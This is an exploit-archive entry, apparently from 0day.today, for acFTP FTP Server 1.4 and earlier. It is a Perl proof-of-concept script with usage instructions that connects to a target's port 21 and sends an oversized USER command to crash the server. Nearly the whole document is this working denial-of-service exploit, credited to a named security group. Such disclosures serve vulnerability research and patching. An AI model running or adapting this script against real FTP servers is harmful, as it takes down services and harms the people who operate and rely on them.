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acFTP FTP Server <= 1.4 (USER) Remote Buffer Overflow PoC
[=========================================================
acFTP FTP Server <= 1.4 (USER) Remote Buffer Overflow PoC
=========================================================
################################################
#===== acFtpd BoF Crash Exploit =====
#
# There is a Buffer overflow at the
# USER command in acFtpd.
#
# Vuln found by: Preddy
# RootShell Security Group
#
# Usage: ac_dos.pl <ip>
################################################
use IO::Socket;
use Win32;
use strict;
my($i) = "";
my($socket) = "";
my $overflow = "A{" x 4700;
if($ARGV[0] == "")
{
print "################################################\n";
print "# ===== acFtpd BoF Crash Exploit =====\n";
print "#\n";
print "# Vuln found by: Preddy\n";
print "# RootShell Security Group\n";
print "# www.rootshell-security.net\n";
print "#\n";
print "# Usage ac_dos.pl <ip>\n";
print "################################################\n";
}
if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0],
PeerPort => "21",
Proto => "TCP"))
{
print "Sending Overflow String!\n";
print "Ftp should be crashed!\n";
Win32::Sleep(300);
print $socket "USER $overflow\r\n";
Win32::Sleep(100);
close($socket);
}
# 0day.today [2024-12-25] #